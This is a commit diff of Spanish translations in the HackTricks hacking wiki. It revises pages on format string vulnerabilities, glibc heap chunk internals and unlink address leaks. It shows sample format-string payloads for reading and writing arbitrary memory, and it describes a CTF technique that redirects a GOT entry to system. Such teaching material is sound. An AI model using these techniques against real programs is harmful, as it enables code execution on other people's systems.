Translated ['binary-exploitation/format-strings/README.md', 'binary-expl
Before Width: | Height: | Size: 34 KiB After Width: | Height: | Size: 1.6 KiB |
Before Width: | Height: | Size: 1.6 KiB After Width: | Height: | Size: 32 KiB |
Before Width: | Height: | Size: 32 KiB After Width: | Height: | Size: 142 KiB |
Before Width: | Height: | Size: 142 KiB After Width: | Height: | Size: 108 KiB |
Before Width: | Height: | Size: 108 KiB After Width: | Height: | Size: 63 KiB |
Before Width: | Height: | Size: 63 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 3.7 KiB |
Before Width: | Height: | Size: 3.7 KiB After Width: | Height: | Size: 12 KiB |
Before Width: | Height: | Size: 12 KiB After Width: | Height: | Size: 4.1 KiB |
Before Width: | Height: | Size: 4.1 KiB After Width: | Height: | Size: 131 KiB |
Before Width: | Height: | Size: 131 KiB After Width: | Height: | Size: 79 KiB |
BIN
.gitbook/assets/image (10) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 708 KiB |
Before Width: | Height: | Size: 708 KiB After Width: | Height: | Size: 287 KiB |
Before Width: | Height: | Size: 287 KiB After Width: | Height: | Size: 28 KiB |
Before Width: | Height: | Size: 28 KiB After Width: | Height: | Size: 216 KiB |
Before Width: | Height: | Size: 216 KiB After Width: | Height: | Size: 30 KiB |
Before Width: | Height: | Size: 27 KiB After Width: | Height: | Size: 33 KiB |
Before Width: | Height: | Size: 33 KiB After Width: | Height: | Size: 116 KiB |
Before Width: | Height: | Size: 116 KiB After Width: | Height: | Size: 418 KiB |
Before Width: | Height: | Size: 418 KiB After Width: | Height: | Size: 35 KiB |
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 3.7 KiB |
Before Width: | Height: | Size: 3.7 KiB After Width: | Height: | Size: 62 KiB |
Before Width: | Height: | Size: 62 KiB After Width: | Height: | Size: 59 KiB |
Before Width: | Height: | Size: 154 KiB After Width: | Height: | Size: 74 KiB |
Before Width: | Height: | Size: 74 KiB After Width: | Height: | Size: 271 KiB |
Before Width: | Height: | Size: 271 KiB After Width: | Height: | Size: 105 KiB |
Before Width: | Height: | Size: 105 KiB After Width: | Height: | Size: 13 KiB |
Before Width: | Height: | Size: 13 KiB After Width: | Height: | Size: 461 KiB |
Before Width: | Height: | Size: 461 KiB After Width: | Height: | Size: 36 KiB |
Before Width: | Height: | Size: 36 KiB After Width: | Height: | Size: 56 KiB |
Before Width: | Height: | Size: 7.8 KiB After Width: | Height: | Size: 254 KiB |
Before Width: | Height: | Size: 254 KiB After Width: | Height: | Size: 5.5 KiB |
Before Width: | Height: | Size: 5.5 KiB After Width: | Height: | Size: 254 KiB |
Before Width: | Height: | Size: 254 KiB After Width: | Height: | Size: 112 KiB |
Before Width: | Height: | Size: 112 KiB After Width: | Height: | Size: 22 KiB |
Before Width: | Height: | Size: 22 KiB After Width: | Height: | Size: 35 KiB |
Before Width: | Height: | Size: 35 KiB After Width: | Height: | Size: 39 KiB |
Before Width: | Height: | Size: 39 KiB After Width: | Height: | Size: 50 KiB |
Before Width: | Height: | Size: 3.2 MiB After Width: | Height: | Size: 10 KiB |
Before Width: | Height: | Size: 10 KiB After Width: | Height: | Size: 262 KiB |
Before Width: | Height: | Size: 262 KiB After Width: | Height: | Size: 19 KiB |
Before Width: | Height: | Size: 19 KiB After Width: | Height: | Size: 56 KiB |
Before Width: | Height: | Size: 56 KiB After Width: | Height: | Size: 58 KiB |
BIN
.gitbook/assets/image (6) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 407 KiB |
Before Width: | Height: | Size: 407 KiB After Width: | Height: | Size: 284 KiB |
Before Width: | Height: | Size: 284 KiB After Width: | Height: | Size: 40 KiB |
Before Width: | Height: | Size: 40 KiB After Width: | Height: | Size: 79 KiB |
Before Width: | Height: | Size: 79 KiB After Width: | Height: | Size: 138 KiB |
Before Width: | Height: | Size: 96 KiB After Width: | Height: | Size: 175 KiB |
Before Width: | Height: | Size: 175 KiB After Width: | Height: | Size: 453 KiB |
Before Width: | Height: | Size: 453 KiB After Width: | Height: | Size: 25 KiB |
Before Width: | Height: | Size: 25 KiB After Width: | Height: | Size: 160 KiB |
Before Width: | Height: | Size: 160 KiB After Width: | Height: | Size: 126 KiB |
BIN
.gitbook/assets/image (8) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 172 KiB |
Before Width: | Height: | Size: 172 KiB After Width: | Height: | Size: 210 KiB |
Before Width: | Height: | Size: 210 KiB After Width: | Height: | Size: 25 KiB |
Before Width: | Height: | Size: 25 KiB After Width: | Height: | Size: 3.1 KiB |
Before Width: | Height: | Size: 3.1 KiB After Width: | Height: | Size: 86 KiB |
BIN
.gitbook/assets/image (9) (1) (1) (1) (1).png
Normal file
After Width: | Height: | Size: 1 MiB |
Before Width: | Height: | Size: 1 MiB After Width: | Height: | Size: 594 KiB |
Before Width: | Height: | Size: 594 KiB After Width: | Height: | Size: 26 KiB |
Before Width: | Height: | Size: 26 KiB After Width: | Height: | Size: 3.5 KiB |
Before Width: | Height: | Size: 3.5 KiB After Width: | Height: | Size: 551 KiB |
Before Width: | Height: | Size: 30 KiB After Width: | Height: | Size: 82 KiB |
|
@ -1,8 +1,8 @@
|
||||||
# Format Strings
|
# Format Strings
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -15,20 +15,19 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_se requiere polaco fluido escrito y hablado_).
|
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_se requiere polaco fluido escrito y hablado_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
|
||||||
## Basic Information
|
## Basic Information
|
||||||
|
|
||||||
En C **`printf`** es una función que se puede usar para **imprimir** alguna cadena. El **primer parámetro** que esta función espera es el **texto en bruto con los formateadores**. Los **siguientes parámetros** esperados son los **valores** para **sustituir** los **formateadores** del texto en bruto.
|
En C **`printf`** es una función que se puede usar para **imprimir** alguna cadena. El **primer parámetro** que esta función espera es el **texto en bruto con los formateadores**. Los **siguientes parámetros** esperados son los **valores** para **sustituir** los **formateadores** del texto en bruto.
|
||||||
|
|
||||||
Otras funciones vulnerables son **`sprintf()`** y **`fprintf()`**.
|
Otras funciones vulnerables son **`sprintf()`** y **`fprintf()`**.
|
||||||
|
|
||||||
La vulnerabilidad aparece cuando un **texto de atacante se usa como el primer argumento** para esta función. El atacante podrá crear una **entrada especial abusando** de las capacidades de la **cadena de formato printf** para leer y **escribir cualquier dato en cualquier dirección (legible/escribible)**. Siendo capaz de esta manera de **ejecutar código arbitrario**.
|
La vulnerabilidad aparece cuando un **texto de atacante se usa como el primer argumento** para esta función. El atacante podrá crear una **entrada especial abusando** de las capacidades de **formato de printf** para leer y **escribir cualquier dato en cualquier dirección (legible/escribible)**. De esta manera, podrá **ejecutar código arbitrario**.
|
||||||
|
|
||||||
#### Formatters:
|
#### Formatters:
|
||||||
```bash
|
```bash
|
||||||
|
@ -112,11 +111,11 @@ Tenga en cuenta que no puede poner la dirección 0x8048000 al principio de la en
|
||||||
|
|
||||||
### Encontrar el desplazamiento
|
### Encontrar el desplazamiento
|
||||||
|
|
||||||
Para encontrar el desplazamiento a su entrada, podría enviar 4 u 8 bytes (`0x41414141`) seguidos de **`%1$x`** y **aumentar** el valor hasta recuperar las `A's`.
|
Para encontrar el desplazamiento a su entrada, podría enviar 4 u 8 bytes (`0x41414141`) seguidos de **`%1$x`** y **aumentar** el valor hasta recuperar los `A's`.
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Fuerza bruta printf offset</summary>
|
<summary>Desplazamiento printf por fuerza bruta</summary>
|
||||||
```python
|
```python
|
||||||
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
|
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
|
||||||
|
|
||||||
|
@ -163,7 +162,7 @@ Afortunadamente, para escribir el número 9999, no es necesario agregar 9999 "A"
|
||||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||||
AAAA.%500\$08x —> Param at offset 500
|
AAAA.%500\$08x —> Param at offset 500
|
||||||
```
|
```
|
||||||
Sin embargo, ten en cuenta que generalmente para escribir una dirección como `0x08049724` (que es un número ENORME para escribir de una vez), **se usa `$hn`** en lugar de `$n`. Esto permite **escribir solo 2 Bytes**. Por lo tanto, esta operación se realiza dos veces, una para los 2B más altos de la dirección y otra vez para los más bajos.
|
Sin embargo, ten en cuenta que generalmente, para escribir una dirección como `0x08049724` (que es un NÚMERO ENORME para escribir de una vez), **se usa `$hn`** en lugar de `$n`. Esto permite **escribir solo 2 Bytes**. Por lo tanto, esta operación se realiza dos veces, una para los 2B más altos de la dirección y otra vez para los más bajos.
|
||||||
|
|
||||||
Por lo tanto, esta vulnerabilidad permite **escribir cualquier cosa en cualquier dirección (escritura arbitraria).**
|
Por lo tanto, esta vulnerabilidad permite **escribir cualquier cosa en cualquier dirección (escritura arbitraria).**
|
||||||
|
|
||||||
|
@ -174,7 +173,7 @@ En este ejemplo, el objetivo será **sobrescribir** la **dirección** de una **f
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
Vamos a **sobrescribir** una **función** que **recibe** sus **argumentos** del **usuario** y **apuntarla** a la **función** **`system`**.\
|
Vamos a **sobrescribir** una **función** que **recibe** sus **argumentos** del **usuario** y **apuntarla** a la **función** **`system`**.\
|
||||||
Como se mencionó, para escribir la dirección, generalmente se necesitan 2 pasos: Primero **escribes 2Bytes** de la dirección y luego los otros 2. Para hacerlo se usa **`$hn`**.
|
Como se mencionó, para escribir la dirección, generalmente se necesitan 2 pasos: Primero **escribes 2Bytes** de la dirección y luego los otros 2. Para hacerlo, se usa **`$hn`**.
|
||||||
|
|
||||||
* **HOB** se llama a los 2 bytes más altos de la dirección
|
* **HOB** se llama a los 2 bytes más altos de la dirección
|
||||||
* **LOB** se llama a los 2 bytes más bajos de la dirección
|
* **LOB** se llama a los 2 bytes más bajos de la dirección
|
||||||
|
@ -238,21 +237,19 @@ Es posible abusar de las acciones de escritura de una vulnerabilidad de cadena d
|
||||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
* [https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/tw16\_greeting/index.html)
|
||||||
* 32 bits, relro, sin canario, nx, sin pie, cadena de formato para escribir una dirección dentro de main en `.fini_array` (para que el flujo vuelva a repetirse una vez más) y escribir la dirección a `system` en la tabla GOT apuntando a `strlen`. Cuando el flujo regrese a main, `strlen` se ejecutará con la entrada del usuario y apuntando a `system`, ejecutará los comandos pasados.
|
* 32 bits, relro, sin canario, nx, sin pie, cadena de formato para escribir una dirección dentro de main en `.fini_array` (para que el flujo vuelva a repetirse una vez más) y escribir la dirección a `system` en la tabla GOT apuntando a `strlen`. Cuando el flujo regrese a main, `strlen` se ejecutará con la entrada del usuario y apuntando a `system`, ejecutará los comandos pasados.
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprende y practica Hacking en AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<summary>Apoya a HackTricks</summary>
|
Apoya a HackTricks
|
||||||
|
|
||||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||||
|
|
||||||
</details>
|
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -86,11 +86,11 @@ Hay algunas cosas interesantes a notar de esta estructura (ver el código C a co
|
||||||
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
|
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
|
||||||
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
|
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
|
||||||
```
|
```
|
||||||
* El `mchunkptr bins[NBINS * 2 - 2];` contiene **punteros** a los **primeros y últimos chunks** de los **bins** pequeños, grandes y no ordenados (el -2 es porque el índice 0 no se usa)
|
* El `mchunkptr bins[NBINS * 2 - 2];` contiene **punteros** a los **primeros y últimos chunks** de los **bins** pequeños, grandes y no ordenados (el -2 es porque el índice 0 no se utiliza)
|
||||||
* Por lo tanto, el **primer chunk** de estos bins tendrá un **puntero hacia atrás a esta estructura** y el **último chunk** de estos bins tendrá un **puntero hacia adelante** a esta estructura. Lo que básicamente significa que si puedes l**eak estas direcciones en la arena principal** tendrás un puntero a la estructura en la **libc**.
|
* Por lo tanto, el **primer chunk** de estos bins tendrá un **puntero hacia atrás a esta estructura** y el **último chunk** de estos bins tendrá un **puntero hacia adelante** a esta estructura. Lo que básicamente significa que si puedes l**eak estas direcciones en la arena principal** tendrás un puntero a la estructura en la **libc**.
|
||||||
* Las estructuras `struct malloc_state *next;` y `struct malloc_state *next_free;` son listas enlazadas de arenas
|
* Las estructuras `struct malloc_state *next;` y `struct malloc_state *next_free;` son listas enlazadas de arenas
|
||||||
* El chunk `top` es el último "chunk", que es básicamente **todo el espacio restante del heap**. Una vez que el chunk superior está "vacío", el heap está completamente utilizado y necesita solicitar más espacio.
|
* El chunk `top` es el último "chunk", que es básicamente **todo el espacio restante del heap**. Una vez que el chunk superior está "vacío", el heap está completamente utilizado y necesita solicitar más espacio.
|
||||||
* El chunk `last reminder` proviene de casos donde un chunk de tamaño exacto no está disponible y, por lo tanto, un chunk más grande se divide, un puntero de la parte restante se coloca aquí.
|
* El chunk de `último recordatorio` proviene de casos donde un chunk de tamaño exacto no está disponible y, por lo tanto, un chunk más grande se divide, una parte del puntero restante se coloca aquí.
|
||||||
```c
|
```c
|
||||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
|
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
|
||||||
|
|
||||||
|
@ -167,7 +167,7 @@ Los metadatos suelen ser 0x08B, indicando el tamaño actual del bloque utilizand
|
||||||
|
|
||||||
Luego, el espacio para los datos del usuario, y finalmente 0x08B para indicar el tamaño del bloque anterior cuando el bloque está disponible (o para almacenar datos del usuario cuando está asignado).
|
Luego, el espacio para los datos del usuario, y finalmente 0x08B para indicar el tamaño del bloque anterior cuando el bloque está disponible (o para almacenar datos del usuario cuando está asignado).
|
||||||
|
|
||||||
Además, cuando está disponible, los datos del usuario también se utilizan para contener algunos datos:
|
Además, cuando está disponible, los datos del usuario se utilizan para contener también algunos datos:
|
||||||
|
|
||||||
* **`fd`**: Puntero al siguiente bloque
|
* **`fd`**: Puntero al siguiente bloque
|
||||||
* **`bk`**: Puntero al bloque anterior
|
* **`bk`**: Puntero al bloque anterior
|
||||||
|
@ -182,7 +182,7 @@ Nota cómo enlazar la lista de esta manera evita la necesidad de tener un arregl
|
||||||
|
|
||||||
### Punteros de Bloque
|
### Punteros de Bloque
|
||||||
|
|
||||||
Cuando se usa malloc, se devuelve un puntero al contenido que se puede escribir (justo después de los encabezados), sin embargo, al gestionar bloques, se necesita un puntero al principio de los encabezados (metadatos).\
|
Cuando se usa malloc, se devuelve un puntero al contenido que se puede escribir (justo después de los encabezados), sin embargo, al gestionar bloques, se necesita un puntero al comienzo de los encabezados (metadatos).\
|
||||||
Para estas conversiones se utilizan estas funciones:
|
Para estas conversiones se utilizan estas funciones:
|
||||||
```c
|
```c
|
||||||
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||||
|
@ -260,7 +260,7 @@ return request2size (req);
|
||||||
```
|
```
|
||||||
Nota que para calcular el espacio total necesario, solo se añade `SIZE_SZ` 1 vez porque el campo `prev_size` puede ser utilizado para almacenar datos, por lo tanto, solo se necesita el encabezado inicial.
|
Nota que para calcular el espacio total necesario, solo se añade `SIZE_SZ` 1 vez porque el campo `prev_size` puede ser utilizado para almacenar datos, por lo tanto, solo se necesita el encabezado inicial.
|
||||||
|
|
||||||
### Obtener datos del chunk y alterar metadatos
|
### Obtener datos del Chunk y alterar metadatos
|
||||||
|
|
||||||
Estas funciones funcionan recibiendo un puntero a un chunk y son útiles para verificar/establecer metadatos:
|
Estas funciones funcionan recibiendo un puntero a un chunk y son útiles para verificar/establecer metadatos:
|
||||||
|
|
||||||
|
@ -414,7 +414,7 @@ Establezca un punto de interrupción al final de la función principal y descubr
|
||||||
|
|
||||||
Es posible ver que la cadena panda se almacenó en `0xaaaaaaac12a0` (que fue la dirección dada como respuesta por malloc dentro de `x0`). Al verificar 0x10 bytes antes, es posible ver que el `0x0` representa que el **chunk anterior no está utilizado** (longitud 0) y que la longitud de este chunk es `0x21`.
|
Es posible ver que la cadena panda se almacenó en `0xaaaaaaac12a0` (que fue la dirección dada como respuesta por malloc dentro de `x0`). Al verificar 0x10 bytes antes, es posible ver que el `0x0` representa que el **chunk anterior no está utilizado** (longitud 0) y que la longitud de este chunk es `0x21`.
|
||||||
|
|
||||||
Los espacios adicionales reservados (0x21-0x10=0x11) provienen de los **encabezados añadidos** (0x10) y 0x1 no significa que se reservó 0x21B, sino que los últimos 3 bits de la longitud del encabezado actual tienen algunos significados especiales. Como la longitud siempre está alineada a 16 bytes (en máquinas de 64 bits), estos bits en realidad nunca se van a utilizar por el número de longitud.
|
Los espacios adicionales reservados (0x21-0x10=0x11) provienen de los **encabezados añadidos** (0x10) y 0x1 no significa que se reservó 0x21B, sino que los últimos 3 bits de la longitud del encabezado actual tienen algunos significados especiales. Dado que la longitud siempre está alineada a 16 bytes (en máquinas de 64 bits), estos bits en realidad nunca se utilizarán por el número de longitud.
|
||||||
```
|
```
|
||||||
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
|
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
|
||||||
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
|
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
|
||||||
|
@ -470,33 +470,33 @@ return 0;
|
||||||
|
|
||||||
Depurando el ejemplo anterior, es posible ver cómo al principio solo hay 1 arena:
|
Depurando el ejemplo anterior, es posible ver cómo al principio solo hay 1 arena:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Luego, después de llamar al primer hilo, el que llama a malloc, se crea una nueva arena:
|
Luego, después de llamar al primer hilo, el que llama a malloc, se crea una nueva arena:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
y dentro de ella se pueden encontrar algunos chunks:
|
y dentro de ella se pueden encontrar algunos chunks:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
## Bins & Memory Allocations/Frees
|
## Bins & Asignaciones/Libertades de Memoria
|
||||||
|
|
||||||
Ver cuáles son los bins y cómo están organizados y cómo se asigna y libera memoria en:
|
Verifica cuáles son los bins y cómo están organizados y cómo se asigna y libera memoria en:
|
||||||
|
|
||||||
{% content-ref url="bins-and-memory-allocations.md" %}
|
{% content-ref url="bins-and-memory-allocations.md" %}
|
||||||
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## Heap Functions Security Checks
|
## Comprobaciones de Seguridad de Funciones de Heap
|
||||||
|
|
||||||
Las funciones involucradas en el heap realizarán ciertas verificaciones antes de llevar a cabo sus acciones para intentar asegurarse de que el heap no esté corrupto:
|
Las funciones involucradas en heap realizarán ciertas comprobaciones antes de llevar a cabo sus acciones para intentar asegurarse de que el heap no esté corrupto:
|
||||||
|
|
||||||
{% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %}
|
{% content-ref url="heap-memory-functions/heap-functions-security-checks.md" %}
|
||||||
[heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md)
|
[heap-functions-security-checks.md](heap-memory-functions/heap-functions-security-checks.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
## References
|
## Referencias
|
||||||
|
|
||||||
* [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
|
* [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
|
||||||
* [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
|
* [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
|
||||||
|
|
|
@ -67,7 +67,7 @@ p->bk_nextsize->fd_nextsize = p->fd_nextsize;
|
||||||
|
|
||||||
Consulta esta gran explicación gráfica del proceso unlink:
|
Consulta esta gran explicación gráfica del proceso unlink:
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption><p><a href="https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png">https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/implementation/figure/unlink_smallbin_intro.png</a></p></figcaption></figure>
|
||||||
|
|
||||||
### Comprobaciones de Seguridad
|
### Comprobaciones de Seguridad
|
||||||
|
|
||||||
|
@ -77,7 +77,7 @@ Consulta esta gran explicación gráfica del proceso unlink:
|
||||||
|
|
||||||
### Fugas
|
### Fugas
|
||||||
|
|
||||||
Un chunk desvinculado no limpia las direcciones asignadas, por lo que al tener acceso a él, es posible filtrar algunas direcciones interesantes:
|
Un chunk desvinculado no limpia las direcciones asignadas, por lo que tener acceso a él permite filtrar algunas direcciones interesantes:
|
||||||
|
|
||||||
Fugas de Libc:
|
Fugas de Libc:
|
||||||
|
|
||||||
|
@ -92,16 +92,16 @@ Fugas de Heap:
|
||||||
* Si P está en la lista doblemente enlazada, tanto `fd` como `bk` apuntarán a un chunk disponible en el heap
|
* Si P está en la lista doblemente enlazada, tanto `fd` como `bk` apuntarán a un chunk disponible en el heap
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Support HackTricks</summary>
|
<summary>Apoya a HackTricks</summary>
|
||||||
|
|
||||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
* Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
